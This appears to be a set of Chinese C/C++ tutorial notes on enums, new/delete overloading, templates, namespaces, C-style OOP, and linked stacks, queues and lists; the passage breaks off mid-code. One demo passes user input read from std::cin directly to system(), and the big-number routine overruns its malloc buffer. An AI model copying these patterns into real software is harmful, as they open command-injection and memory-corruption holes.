C中为弱类型,不做类型检查。而c++为强类型,要求更加严格。 Enum.c #include <stdio.h> enum color{ red=11 ,yellow,green,white}; void main() { enum color color1; color1 = 18;//不注重数据类型 color1 = red; printf("%d", red); printf("\n%d", yellow); printf("\n%d", green); getchar(); } Enum.cpp #include <iostream> enum color:char{ red='a' , yellow, green, white }; void main() { color mycolor = red; mycolor = yellow; //mycolor = 'A';//确保在枚举的范围的之内不出错 mycolor = color::white;//新语法 color mycolor1(red); color mycolor2(color::red); printf("%d,%c\n", red,red); printf("%d,%c\n", yellow,yellow); system("pause"); } newdelete全局 #include<iostream> #include<stdlib.h> //全局的new delete监视所有释放分配 //局部的new delete监视某个类的所有分配释放 void *operator new(size_t size) { if (size == 0) { return 0; } void *p = malloc(size); std::cout << "全局被调用内存被分配"<<p<<std::endl; return p; } void operator delete (void *p) { std::cout << "全局被调用内存被释放" << p << std::endl; free(p); } void *operator new[](size_t size) { return operator new(size);//每个对象挨个调用已经重载好的new,调用构造 } void operator delete[](void*p) { return operator delete(p);//每个对象挨个调用已经重载好的delete,调用析构 } class tansheng { public: static int jishuqi;//静态 int *p; int length; public: tansheng()//构建的时候初始化 { std::cout << "谭胜被创建" << std::endl; } ~tansheng()//删除的时候释放内存 { std::cout << "谭胜被销毁" << std::endl; } static void * operator new(size_t size) { jishuqi += 1; std::cout << "对象被创建" << std::endl; tansheng *ptemp = ::new tansheng;//劫持 return ptemp; } static void * operator new[](size_t size) { std::cout << "对象数组被创建" << std::endl; return operator new(size); } static void operator delete(void *p) { jishuqi -= 1; std::cout << "对象被销毁" << std::endl; ::delete p;//::全局 } static void operator delete[](void *p) { std::cout << "对象数组被销毁" << std::endl; return operator delete(p); } }; int tansheng::jishuqi = 0; void mai01n() { //int *p = new int[10]; //delete[]p; tansheng *p1 = new tansheng[5]; delete []p1; system("pause"); } void main() { int *p = new int(8); delete p; system("pause"); } 大数据乘法与结构体 #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include<stdlib.h> #include<string.h> //C语言声明变量需要加上stuct //C语言结构内部不可以有函数 //C语言结构体没有公有,私有,继承 struct MyStruct { int num1; int num2; }; struct MyStruct MyStruct1; /// 加法,减法 /// 1234.567 ×12345.987 /// 15K+ 除法, void getbigdata(char *dataa,char* datab) { int lengtha = strlen(dataa); int lengthb = strlen(datab); int *pres = (int *)malloc(sizeof(int)*(lengtha + lengthb)); memset(pres, 0, sizeof(int)*(lengtha + lengthb));//初始化 //累乘 for (int i = 0; i < lengtha;i++) { for (int j = 0; j < lengthb;j++) { pres[i+j+1]+=(dataa[i] - '0')*(datab[j] - '0'); } } //进位 for (int i = lengtha + lengthb-1;i>=0;i--) { if (pres[i]>=10)//进位 { pres[i - 1] += pres[i] / 10;//进位 pres[i] %= 10;//取出个位数 } } int i = 0; while (pres[i]==0) { i++;//恰好不为0的位置 } char *lastres = malloc(sizeof(char)*(lengtha + lengthb)); int j; for (j = 0; j < lengtha + lengthb; j++, i++) { lastres[j] = pres[i] + '0'; } lastres[j] = '\0'; printf("last结果=%s",lastres); } void main() { char str1[100] = { 0 }; char str2[100] = { 0 }; scanf("%s%s", str1, str2); printf("str1=%s,str2=%s", str1, str2);//打印结果 getbigdata(str1, str2); system("pause"); } #define _CRT_SECURE_NO_WARNINGS #include<iostream> #include<stdlib.h> #include<string.h> //除了数据还有函数 struct bigdatacom { protected://内部私有 char dataa[100]; char datab[100]; public://公有公开 void init(const char *str1, const char *str2) { std::cout << typeid(*this).name() << std::endl; strcpy(this->dataa, str1); strcpy(this->datab, str2); } char * getbigdata() { int lengtha = strlen(dataa); int lengthb = strlen(datab); int *pres = (int *)malloc(sizeof(int)*(lengtha + lengthb)); memset(pres, 0, sizeof(int)*(lengtha + lengthb));//初始化 //累乘 for (int i = 0; i < lengtha; i++) { for (int j = 0; j < lengthb; j++) { pres[i + j + 1] += (dataa[i] - '0')*(datab[j] - '0'); } } //进位 for (int i = lengtha + lengthb - 1; i >= 0; i--) { if (pres[i] >= 10)//进位 { pres[i - 1] += pres[i] / 10;//进位 pres[i] %= 10;//取出个位数 } } int i = 0; while (pres[i] == 0) { i++;//恰好不为0的位置 } char *lastres =(char*) malloc(sizeof(char)*(lengtha + lengthb)); int j; for (j = 0; j < lengtha + lengthb; j++, i++) { lastres[j] = pres[i] + '0'; } lastres[j] = '\0'; return lastres; //printf("last结果=%s", lastres); } }; struct myclass :public bigdatacom //继承 { void coutstr()//新增 { std::cout << this->dataa << this ->datab << std::endl; } }; void main() { myclass class1; class1.init("12345", "1000"); std::cout << class1.getbigdata() << std::endl; class1.coutstr(); system("pause"); } void main1() { bigdatacom big1;//C++结构体可要可不要struct big1.init("123123", "456456");//调用内部函数 std::cout << big1.getbigdata() << std::endl; system("pause"); } 函数模板与auto自动变量 函数模板 #include<stdlib.h> #include<iostream> #include<cstdarg> //函数模板 可变参数 //参数至少要有一个是模板类型 template<typename NT> NT sum(int count,NT data1 ...)//累加 { va_list arg_ptr;//参数列表的指针 va_start(arg_ptr, count);//限定从count开始,限定多少个参数 NT sumres(0); for (int i = 0; i < count;i++) { sumres += va_arg(arg_ptr, NT); } va_end(arg_ptr);//结束 return sumres; } //T通用数据类型 template<typename T> T MAX(T*p, const int n) { T maxdata(p[0]); for (int i = 1; i < n; i++) { if (maxdata < p[i]) { maxdata = p[i]; } } return maxdata; } int getmax(int *p, int n) { int max(0); max = p[0];//假定第一个数位最大 for (int i = 1; i < 10; i++) { if (max<p[i])//确保max>=p[i] { max = p[i];// } } return max; } double getmax(double *p, int n) { double max(0); max = p[0];//假定第一个数位最大 for (int i = 1; i < 10; i++) { if (max < p[i])//确保max>=p[i] { max = p[i];// } } return max; } void main2() { std::cout << sum(5,1,2,3,4,5) << std::endl; std::cout << sum(6, 1, 2, 3, 4, 5,6) << std::endl; std::cout << sum(7, 1, 2, 3, 4, 5, 6,7) << std::endl; std::cout << sum(7, 1.1, 2.1, 3.1, 4.1, 5.1, 6.1, 7.1) << std::endl; std::cout << sum(6, 1.1, 2.1, 3.1, 4.1, 5.1, 6.1) << std::endl; system("pause"); } void main1() { double a[10] = { 2, 3, 4, 98, 77, 999.1, 87, 123, 0, 12 }; int b[10] = { 1, 2, 3, 4, 15, 6, 7, 8, 9, 10 }; std::cout << MAX(a,10) << std::endl; std::cout << MAX(b, 10) << std::endl; system("pause"); } Auto与函数模板 #include<stdlib.h> #include<iostream> /* auto get(int num, double data)->decltype(num*data) { } */ //自动数据类型,根据实际推导出类型, template<class T1,class T2>//根据类型获取类型 auto get(T1 data, T2 bigdata)->decltype(data *bigdata) { return data*bigdata; } //函数参数不允许使用自动变量 //int putnum(auto num) //{ // //} void main() { std::cout << typeid(get(12.0, 'A')).name() << std::endl; std::cout << get(12.0, 'A') << std::endl; std::cout << typeid(get(12, 'A')).name() << std::endl; std::cout << get(12, 'A') << std::endl; system("pause"); } 宽字符本地化 #include<iostream> #include<stdlib.h> #include<locale> void main() { setlocale(LC_ALL, "chs");//设置本地化 wchar_t *p1 = L"123456123123qweqeqe"; std::wcout << p1 << std::endl; wchar_t *p2 = L"北京123456"; std::wcout << p2 << std::endl; system("pause"); } inline 内联函数 #include <stdlib.h> #include<iostream> //替换 #define GETX3(N) N*N*N //1+2*1+2*1+2 //函数 //inline只是对于编译器的建议 ////一般情况下,我们对内联函数做如下的限制: //(1) 不能有递归 //(2) 不能包含静态数据 //(3) 不能包含循环 //(4) 不能包含switch和goto语句 //(5) 不能包含数组 //若一个内联函数定义不满足以上限制,则编译系统把它当作普通函数对待。 inline int getX3(int x);//内联函数,内部展开 inline int getX3(int x)//类型安全 { return x*x*x; } template <class T> inline T getX2(T x)//C++类型不匹配出错,不是单纯的替换 { return x*x; } void main() { std::cout << GETX3(1 + 2) << std::endl; std::cout << getX3(1 + 2) << std::endl; std::cout << GETX3((1 + 2)) << std::endl; std::cout << GETX3((2.0 + 2)) << std::endl; system("pause"); } CCPP不同 C特点 #include<stdio.h> #include<stdlib.h> int a;//C语言全局变量有声明与定义的差别 int a; int a; int a; int a; static int b; static int b; main() { //3-3 ? system("calc") : system("mspaint"); int num = 5 < 3?10:9; printf("%d", num); int a = 3; //(a = 3) = 4; int b = 5; //(a > b ? a : b)=2; //(++a)++ register int numa=1; //&numa; system("pause"); } void test(int a, double, int)//编译不能通过 { } C++ #include<stdio.h> #include<iostream> //C++检测到右值在内存有实体,自动转换为左值 //C 语言不会吧右值转换为左值 //C++全局变量没有声明与定义的差别 //静态全局变量也没有声明与定义的差别 //C++是强类型系统,函数返回值必须要有类型 //register C++编译器做了优化,检测到取地址,就不会把它放到寄存器 //register 可以取地址 int a; //int a; static int b; //static int b; //C++编译器 编译的宽泛, //为了修改源代码,后面留下拓展 //占位,占位参数, void test(int a, double, int) { std::cout << a; } void main1() { int a = 3; (a = 3) = 4; int b = 5; (a > b ? a : b) = 2; (++a)++; //(a + 1)++; register int num(1); std::cout << &num<< std::endl; std::cout << a <<b<< std::endl; test(1, 2.9, 3); system("pause"); } //detele以后尽量设置为NULL // void main2() { int *p = new int; delete p;//防止重复删除 p = NULL; delete p; } void main() { //int num; //文件重定向输入输出,网页重定向CGI char str[100] = { 0 }; std::cin>>str; std::cout << str; system(str); }
C与CPP不同以及命名空间简介 命名空间在软件设计中的作用就是为了实现迭代式开发。 命名空间的别名 #include <iostream> namespace runrunrunrun { int a(10); char *str("gogogo"); namespace run //命名空间的嵌套 { int a(9); } } namespace runrunrunrun //命名空间的拓展 { int y(5); //int a(15);重定义错误 } namespace r = runrunrunrun;//给命名空间起一个别名 void main132() { std::cout << r::run::a << std::endl;//命名空间可以嵌套 std::cout << r::y << std::endl; std::cout << r::a << std::endl; } //using namespace r; void main11() { //std::cout << r::a <<r::str<< std::endl; //std::cout << a << str << std::endl; } 命名空间软件开发注意事项 #include <iostream> namespace runmove { int y(5); int(*padd)(int, int);//函数指针接口 //private: 命名空间是透明的 int y1(5); class myclass { public://类默认是私有,实现封装 int a; }; } int add(int a, int b) { return a + b; } int addp(int a, int b) { std::cout << a << b; return a + b; } struct MyStruct { int b;//结构体默认是透明的 private: int a;//是私有 }; void main1123() { //namespace所有数据,函数,类,对象都是共有 MyStruct struct1;//结构体内部默认公有 struct1.b; } Using作用域 #include<iostream> #include<stdlib.h> namespace mydata { int a(6); } namespace yourdata { int a(8); } using namespace mydata;//using必须在命名空间的后面,作用域 using namespace yourdata; //using如果变量重名,会出现不明确错误,加上命名空间修饰符 void go() { //命名空间如果在块语句内容,作用域是定义开始到块语句结束 std::cout << mydata::a << std::endl; } //using namespace mydata;//作用域为从代码开始到结束 void main() { //std::cout << mydata::a << std::endl; std::cout <<yourdata::a << std::endl; system("pause"); } 函数重载与函数默认参数 函数重载原理 #include<iostream> #include<stdio.h> //参数的个数,参数的类型不同,顺序不同,与返回值无关 void go(int a) { std::cout << a; } void go(double a) { std::cout << a; } void go(double a,int b ) { std::cout << a << b; } void go(int a, double b) { std::cout << a << b; } //int go(double a) //{ // // //} //void go(int a,int b) //{ // //} void main() { void(*pgo1)(int a)=go; void(*pgo2)(double a)=go; void(*pgo3)(double a, int b)=go; void(*pgo4)(int a, double b)=go; printf("%p\n",pgo1); printf("%p\n", pgo2); printf("%p\n", pgo3); printf("%p\n", pgo4); getchar(); } 默认参数 #include<stdio.h> #include<stdlib.h> #include<iostream> //默认参数必须放在右边,因为参数的入栈顺序是从右至左 //默认参数中间不允许出现不默认的 void print(int c,int a = 1, int d=2, int b = 3) { std::cout << a<<b<<c << std::endl; } void print(double c) { } void main() { //print(1,2,3); //函数指针没有默认参数,必须全部输入数据 //函数重载与函数默认参数冲突,需要你输入的参数类型不一个,个数不一样,顺序不一样不会出现问题,否则一定报错 void(*pt1)(int c, int a , int d , int b ) = print; pt1(100,1,2,3);//函数指针调用,没有用默认的 print(100); system("pause"); } 泛型auto #include<iostream> #include<stdlib.h> //自动变量,自动获取类型,输出,泛型 //自动变量,可以实现自动循环一维数组 //自动循环的时候,对应的必须是常量 void main1() { auto num = 10.9;//自动变量,自动匹配类型 auto numA = 10/3.0; std::cout << num <<" " << numA << std::endl; system("pause"); } void main() { //int num[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; double num[2][5] = { 1.0, 2.0, 3.0, 4.5, 5, 6, 7, 8, 9, 10 }; //num数组名是一个指针常量 //auto 自动循环 begin endl;,必须是一个数组的常量 // for (auto data : num)//泛型C++语法,循环一维数组,常量 { std::cout << data<<std::endl; for (int i = 0; i < 5; i++) { std::cout << *(data + i) << std::endl; } } system("pause"); } Newdelete 对象数组 #include <iostream> #include<stdlib.h> class tansheng1 { int *p; int length; public: tansheng1()//构建的时候初始化 { std::cout << "谭胜被创建1"<<std::endl; } ~tansheng1()//删除的时候释放内存 { std::cout << "谭胜被销毁1" << std::endl; } }; void main() { tansheng1 *p = new tansheng1[3]; delete []p;//基本数据类型,delete,复杂类型必须[] system("pause"); } New只能分配线程的内存 #include<stdio.h> #include<stdlib.h> #include<iostream> void main1() { int num=10;//栈上 int *p = new int;//堆上 *p = 5; std::cout << *p << " " << p << std::endl; delete p; // delete p;//只能释放一次 std::cout << p << std::endl; system("pause"); } void main2() { //int num[10]; int *p = new int[10]; //int i = 0; std::cout << p << std::endl; for (int i = 0; i < 10; i++) { p[i] = i; std::cout << p[i] << std::endl; } delete []p;//删除数组的空间 std::cout << p << std::endl; system("pause"); } void main3() { int *p = new int[80]; int(*px)[10] = (int(*)[10]) p; //int(*px)[10] = new int[80];new只能分配线性 int data = 0; for (int i = 0; i < 8; i++) { for (int j = 0; j < 10; j++) { px[i][j] = data++; std::cout << " " << px[i][j]; } std::cout<<std::endl; } system("pause"); } Newdelete重载 #include <iostream> #include<stdlib.h> class tansheng { public: static int jishuqi;//静态 int *p; int length; public: tansheng()//构建的时候初始化 { std::cout << "谭胜被创建2" << std::endl; } ~tansheng()//删除的时候释放内存 { std::cout << "谭胜被销毁2" << std::endl; } static void * operator new(size_t size) { jishuqi += 1; std::cout << "对象被创建2" << std::endl; tansheng *ptemp = ::new tansheng;//劫持 return ptemp; } static void operator delete(void *p) { jishuqi -= 1; std::cout << "对象被销毁2" << std::endl; ::delete p;//::全局 } }; int tansheng::jishuqi = 0; //类的内部的new没有完成分配内存的动作 //通往全局的new中间做了一个劫持 //空类占一个字节,表示自己存在 //类的对象,数据是独立,代码是共享的 //没有分配内存,构造函数无意义 class MyClass { int num; public: MyClass(); ~MyClass(); private: }; MyClass::MyClass() { } MyClass::~MyClass() { } void main() { tansheng * p1 = new tansheng; tansheng * p2 = new tansheng; tansheng * p3 = new tansheng; tansheng * p4 = new tansheng; std::cout << p1 << p2 << std::endl; delete p1; delete p2; std::cout << tansheng::jishuqi << std::endl; std::cout <<"myclass size"<<sizeof(MyClass) << std::endl; system("pause"); }
C++有三个最重要的特点,即继承、封装、多态。我发现其实C语言也是可以面向对象的,也是可以应用设计模式的,关键就在于如何实现面向对象语言的三个重要属性。 (1)继承性 1. typedef struct _parent 2. { 3. int data_parent; 4. 5. }Parent; 6. 7. typedef struct _Child 8. { 9. struct _parent parent; 10. int data_child; 11. 12.}Child; 在设计C语言继承性的时候,我们需要做的就是把基础数据放在继承的结构的首位置即可。这样,不管是数据的访问、数据的强转、数据的访问都不会有什么问题。(2)封装性 1. struct _Data; 2. 3. typedef void (*process)(struct _Data* pData); 4. 5. typedef struct _Data 6. { 7. int value; 8. process pProcess; 9. 10.}Data; 封装性的意义在于,函数和数据是绑在一起的,数据和数据是绑在一起的。这样,我们就可以通过简单的一个结构指针访问到所有的数据,遍历所有的函数。封装性,这是类拥有的属性,当然也是数据结构体拥有的属性。 (3)多态 1. typedef struct _Play 2. { 3. void* pData; 4. void (*start_play)(struct _Play* pPlay); 5. }Play; 多态,就是说用同一的接口代码处理不同的数据。比如说,这里的Play结构就是一个通用的数据结构,我们也不清楚pData是什么数据,start_play是什么处理函数?但是,我们处理的时候只要调用pPlay->start_play(pPlay)就可以了。剩下来的事情我们不需要管,因为不同的接口会有不同的函数去处理,我们只要学会调用就可以了。 #include<stdio.h> #include<stdlib.h> struct cmd { char *p; void(*prun)(struct cmd *pcmd); void(*pprint)(struct cmd *pcmd); }; typedef struct cmd CMD; void run(CMD *pcmd ) { system(pcmd->p); } void print(CMD *pcmd) { printf("%s", pcmd->p); } struct newcmd { struct cmd cmd1; int(*plength)(struct newcmd *pnewcmd); }; int getlength(struct newcmd *pnewcmd) { return strlen(pnewcmd->cmd1.p);//返回长度 } void main() { struct newcmd newcmd1; newcmd1.cmd1.p = "notepad"; newcmd1.cmd1.pprint = print; newcmd1.cmd1.prun = run; newcmd1.plength = getlength;//初始化 newcmd1.cmd1.pprint(&newcmd1.cmd1); newcmd1.cmd1.prun(&newcmd1.cmd1); printf("%d",newcmd1.plength(&newcmd1)); system("pause"); } void main1() { CMD cmd1 = { "notepad", run, print }; cmd1.pprint(&cmd1); cmd1.prun(&cmd1); system("pause"); } #include<stdio.h> #include<stdlib.h> struct ren { void(*pj)(struct ren *p); }; struct nanren { struct ren ren1; void(*pj)(struct nanren *p); }; void nanrenya(struct nanren *pnan) { printf("男人的虎牙"); } struct nvren { struct ren ren1; void(*pj)(struct nvren *p); }; void nvrenya(struct nvren *pnv) { printf("女人的baiya "); } void gettooth(struct ren *pren) { printf("gogogogo"); } void main() { struct nanren tansheng1; tansheng1.ren1.pj = gettooth; tansheng1.ren1.pj(&tansheng1.ren1); tansheng1.pj = nanrenya; tansheng1.pj(&tansheng1); struct nvren ftansheng1; ftansheng1.ren1.pj = gettooth; ftansheng1.ren1.pj(&ftansheng1.ren1); ftansheng1.pj = nvrenya; ftansheng1.pj(&ftansheng1); getchar(); }
链式栈 // stacklinknode.h #define datatype int struct stacknode { int num;//编号 datatype data;//数据 struct stacknode *pNext;//指针域 }; typedef struct stacknode StackNode;//简化 StackNode * init(StackNode * phead);//初始化 StackNode * push(StackNode * phead, int num, datatype data);//进栈 StackNode * pop(StackNode * phead, StackNode * poutdata);//出栈 StackNode * freeall(StackNode * phead);//清空 StackNode * printfall(StackNode * phead);//打印 // stacklinknode.c #include"stacklinknode.h" #include<stdio.h> #include<stdlib.h> StackNode * init(StackNode * phead)//初始化 { return NULL; } StackNode * push(StackNode * phead, int num, datatype data)//进栈 { StackNode *pnewnode = (StackNode *)malloc(sizeof(StackNode));//创建节点 pnewnode->num = num; pnewnode->data = data; pnewnode->pNext = NULL;//开辟节点并赋值 if (phead == NULL)//空链表,直接连接上 { phead = pnewnode;//连接一个节点 } else { StackNode *p = phead; while (p->pNext!=NULL) { p = p->pNext;//一直向前 } p->pNext = pnewnode;//插入 } return phead;//返回头结点 } StackNode * printfall(StackNode * phead) { if (phead==NULL) { return NULL; } else { printf("%d,%d,%p,%p\n", phead->num, phead->data,phead,phead->pNext); printfall(phead->pNext);//打印 } } StackNode * pop(StackNode * phead, StackNode * poutdata) { if (phead == NULL) { return NULL;//已经没有元素 } else if (phead->pNext==NULL) { poutdata->num = phead->num; poutdata->data = phead->data;//取出数据 free(phead);//释放内存 phead = NULL;//只有一个节点 return phead; } else { StackNode *p = phead; while (p->pNext->pNext!=NULL) { p = p->pNext;//循环到倒数第二个节点 } poutdata->num = p->pNext->num; poutdata->data = p->pNext->data;//取出数据 free(p->pNext);//释放 p->pNext = NULL; return phead; } } //删除所有节点 StackNode * freeall(StackNode * phead) { if (phead == NULL) { return NULL; } else { StackNode *p1=NULL, *p2=NULL; p1 = phead;//头结点 while (p1->pNext != NULL) { p2 = p1->pNext;//保存下一个节点 p1->pNext = p2->pNext;//跳过p2 free(p2);//释放节点 } free(phead); return NULL; } } #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<stdlib.h> #include"stacklinknode.h" /* 利用链式栈,先进后出的原则。 实现10进制数字转化为2进制数字 */ void main01() { int num; scanf("%d", &num); printf("num=%d\n", num);//打印数据 StackNode *phead = NULL;//创建一个链式栈的头结点 printf("\n\n"); while (num) { printf("%d\n", num % 2); phead = push(phead, num%2, 0); num /= 2; } while (phead != NULL) { StackNode *pout = (StackNode *)malloc(sizeof(StackNode)); phead = pop(phead, pout); printf("%d", pout->num);//出栈 } system("pause"); } void main() { StackNode *phead=NULL;//创建一个链式栈的头结点 phead = init(phead);//设置栈为空 phead = push(phead, 1, 1); phead = push(phead, 2, 11); phead = push(phead, 3, 111); phead = push(phead, 4, 1111); phead = push(phead, 5, 11111); printfall(phead); phead = freeall(phead); printf("\n释放以后"); printfall(phead); //while (phead!=NULL) //{ // //保存出栈的数据 // printf("出栈\n"); // StackNode *pout =(StackNode *) malloc(sizeof(StackNode)); // phead = pop(phead, pout); // printf("出栈之后\n"); // printfall(phead); // printf("\n出栈之后的数据%d,%d", pout->num, pout->data); //} system("pause"); } 链表队列以及优先队列 //queue.h struct queue { int num;//代表数据 int high;//优先级1111 struct queue *pNext;//存储下一个节点的地址 }; typedef struct queue Queue;//简化队列 Queue * init(Queue *queueA);//初始化 Queue * EnQueue(Queue *queueA, int num, int high);//入队 Queue * DeQueue(Queue *queueA, Queue *pout);//出队 Queue * freeall(Queue *queueA);//清空 void sort(Queue *queueA);//优先级排队 void printfall(Queue *queueA);//打印所有数据,递归 Queue * insertEnQueue(Queue *queueA, int num, int high); //queue.c #include"Queue.h" #include<stdio.h> #include<stdlib.h> Queue * init(Queue *queueA)//初始化 { return NULL; } Queue * EnQueue(Queue *queueA, int num, int high)//顺序入队 { Queue *pnewnode = (Queue *)malloc(sizeof(Queue));//分配内存 pnewnode->num = num; pnewnode->high = high; pnewnode->pNext = NULL; if (queueA==NULL)//链表为空 { queueA = pnewnode; //sort(queueA);//排队 return queueA;//返回值 } else { Queue *p = queueA;//头结点 while (p->pNext!=NULL) { p = p->pNext; } //确定要插入的位置 p->pNext = pnewnode;//插入 //sort(queueA);//排队 return queueA;//返回 } } Queue * DeQueue(Queue *queueA, Queue *pout)//顺序出队 { if (queueA == NULL) { return NULL; } else { pout->num = queueA->num; pout->high = queueA->high;//赋值 Queue *ptemp = queueA;//记录要删除的地址 queueA = queueA->pNext;//跳过queueA free(ptemp);//释放节点 return queueA; } } Queue * freeall(Queue *queueA)//清空 { } Queue * insertEnQueue(Queue *queueA, int num, int high) //队列插入 { Queue *pnewnode = (Queue *)malloc(sizeof(Queue));//分配内存 pnewnode->num = num; pnewnode->high = high; if (queueA == NULL)//节点为空 { pnewnode->pNext = NULL; queueA = pnewnode; return queueA; } else { if (pnewnode->high >queueA->high) { pnewnode->pNext = queueA;//头部插入 queueA = pnewnode;//指向这个节点 return queueA; } else { Queue *p = queueA;//头结点 while (p->pNext != NULL) { p = p->pNext; } //p循环到尾部 if (pnewnode->high <= p->high) { p->pNext = pnewnode; pnewnode->pNext = NULL; return queueA; } else { Queue *p1, *p2; p1 = p2 = NULL;//避免也指针 p1 = queueA;//头结点 while (p1->pNext != NULL) { p2 = p1->pNext; if (p1->high>=pnewnode->high && p2->high<pnewnode->high) { pnewnode->pNext = p2; p1->pNext = pnewnode;//插入 break; } p1 = p1->pNext; } return queueA; } } } } void sort(Queue *queueA)//优先级排队 { if (queueA == NULL || queueA->pNext == NULL) { return; } //for (Queue * p1 = queueA; p1 != NULL;p1=p1->pNext) //{ // for (Queue *p2 = queueA; p2 != NULL; p2 = p2->pNext) // { // if (p1->high >p2->high) // { // Queue temp; // temp.num = p1->num; // p1->num = p2->num; // p2->num = temp.num; // temp.high = p1->high; // p1->high = p2->high; // p2->high = temp.high;//交换就节点数据 // } // } //} } void printfall(Queue *queueA)//递归 { if (queueA==NULL) { return; } else { printf("%d,%d,%p,%p\n", queueA->num, queueA->high, queueA, queueA->pNext); printfall(queueA->pNext);//进入下一个节点 } } //main.c #include<stdio.h> #include<stdlib.h> #include"Queue.h" void main() { Queue *phead = NULL;//创建头结点 phead = init(phead);//初始化 phead = insertEnQueue(phead, 1, 1); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 2, 12); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 3, 3); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 4, 14); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 5, 5); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 6, 16); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 6, 0); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 7, 0); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 8, 0); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 9, 1); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 10, 0); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 11, 16); printf("\n"); printfall(phead); phead = insertEnQueue(phead, 111, 19); printf("\n"); printfall(phead); //while (phead != NULL)//不为空就继续 //{ // //分配内存 // Queue * ptemp = (Queue *)malloc(sizeof(Queue)); // phead = DeQueue(phead, ptemp); // printf("\n拉屎一次以后\n"); // printfall(phead); // printf("\n拉出来的是%d,%d", ptemp->num, ptemp->high); //} system("pause"); } 封装链表库 //linknode.h #include<stdio.h> #include<stdlib.h> #define datatype int struct node { int num;//编号 datatype data;//存储的数据 struct node *pNext; }; typedef struct node Node;//简写 //函数设计的思想 //改变一个变量需要变量的地址,改变指针需要指针的地址 //不用二级指针,必须要用返回值赋值 //增加,删除,查询,修改,排序,逆转 void backaddnode(Node **ppnode, int num,datatype data);//增加节点 Node * backaddnodeA(Node *pnode, int num, datatype data);// void showallnode(Node *pnode);//显示所有的节点 Node * searchfirst(Node *pnode, int num);//查询 int change(Node *pnode, int oldnum, int newnum);//修改失败返回0,成功返回1 Node * rev(Node *pnode);//链表的逆转 Node * delete(Node *pnode, int num);//删除 Node * insert(Node *pnode, int findnum, int newnum, datatype data);//实现插入,前面插入 void sort(Node *pnode, char ch);//ch==> ch==< //linknode.c #include"linknode.h" Node * backaddnodeA(Node *pnode, int num, datatype data) { Node *pnewnode = (Node *)malloc(sizeof(Node)); pnewnode->num = num;//赋值 pnewnode->data = data;//赋值 pnewnode->pNext = NULL;//尾部 if (pnode == NULL) { pnode = pnewnode;//存储新建节点的地址 } else { Node *p = pnode;//等于头结点 while (p->pNext != NULL) { p = p->pNext;//一直循环到最后一个节点的地址 } p->pNext = pnewnode;//尾部插入 } return pnode; } void backaddnode(Node **ppnode, int num, datatype data)//增加节点 { Node *pnewnode = (Node *)malloc(sizeof(Node)); pnewnode->num = num;//赋值 pnewnode->data = data;//赋值 pnewnode->pNext = NULL;//尾部 if (*ppnode == NULL) { *ppnode = pnewnode;//存储新建节点的地址 } else { Node *p = *ppnode;//等于头结点 while (p->pNext != NULL) { p = p->pNext;//一直循环到最后一个节点的地址 } p->pNext = pnewnode;//尾部插入 } } void showallnode(Node *pnode)//显示所有的节点 { printf("\n打印链表\n"); while (pnode != NULL) { printf("%p,%p",pnode,pnode->pNext); printf(" %d,%d\n", pnode->num, pnode->data); pnode = pnode->pNext; } } Node * searchfirst(Node *pnode, int num) { for (Node *p=pnode;p!=NULL;p=p->pNext)//for循环 { if (num==p->num) { return p;//返回找到的地址 break; } } return NULL; } int change(Node *pnode, int oldnum, int newnum) { AAA:if (pnode!=NULL) { if (oldnum == pnode->num)//查找 { pnode->num = newnum;//修改 return 1; } pnode = pnode->pNext;//循环趋于终止 goto AAA; } return 0; } Node * rev(Node *pnode) { Node *p1, *p2, *p3; p1 = p2 = p3 = NULL;//避免野指针 if (pnode == NULL || pnode->pNext == NULL) { return pnode;//返回头结点 } else { p1 = pnode; p2 = pnode->pNext; while (p2 != NULL) { p3 = p2->pNext;//布局第三个点 p2->pNext = p1;//地址转向 p1 = p2;//循环移动 p2 = p3; } pnode->pNext = NULL; pnode = p1;//存储头结点地址 return pnode; } } Node * delete(Node *pnode, int num) { Node *p1=NULL, *p2=NULL; p1 = pnode; while (p1 != NULL) { if (p1->num == num) { //p1保存了要删除节点的地址 break; } else { p2 = p1;//p2保存上一个节点 p1 = p1->pNext;//向前循环 } } if (p1 == pnode) { pnode = p1->pNext;//跳过这个节点 free(p1);//删除节点 } else { p2->pNext = p1->pNext;//跳过p1 free(p1); } return pnode; } Node * insert(Node *pnode, int findnum, int newnum, datatype data) { Node *p1, *p2; p1 = p2 = NULL; p1 = pnode; while (p1 != NULL) { if (p1->num == findnum) { //p1保存了要插入节点的地址 break; } else { p2 = p1;//p2保存上一个节点 p1 = p1->pNext;//向前循环 } } Node * pnewnode = (Node *)malloc(sizeof(Node)); pnewnode->num = newnum; pnewnode->data = data;//赋值 if (pnode == p1) { pnewnode->pNext = pnode; pnode = pnewnode;//头部插入一个节点 } else { pnewnode->pNext = p1; p2->pNext = pnewnode; } return pnode; } void sort(Node *pnode, char ch) { if (ch == '<') { for (Node *p1=pnode; p1 != NULL;p1=p1->pNext) { for (Node *p2=pnode; p2 != NULL;p2=p2->pNext) { if (p1->num > p2->num) { struct node tnode; tnode.num = p1->num; p1->num = p2->num; p2->num = tnode.num;//交换数据 tnode.data = p1->data; p1->data = p2->data; p2->data = tnode.data;//交换数据 } } } } else { for (Node *p1 = pnode; p1 != NULL; p1 = p1->pNext) { for (Node *p2 = pnode; p2 != NULL; p2 = p2->pNext) { if (p1->num < p2->num) { struct node tnode; tnode.num = p1->num; p1->num = p2->num; p2->num = tnode.num;//交换数据 tnode.data = p1->data; p1->data = p2->data; p2->data = tnode.data;//交换数据 } } } } } //main.c #include<stdio.h> #include<stdlib.h> #include"linknode.h" void main() { Node *pnode=NULL;//链表的头结点 //backaddnode(&pnode, 1, 11); //backaddnode(&pnode, 2, 12); //backaddnode(&pnode, 3, 13); //backaddnode(&pnode, 4, 14); //backaddnode(&pnode, 5, 15); pnode = backaddnodeA(pnode, 1, 1); pnode = backaddnodeA(pnode, 12, 11); pnode = backaddnodeA(pnode, 3, 111); pnode = 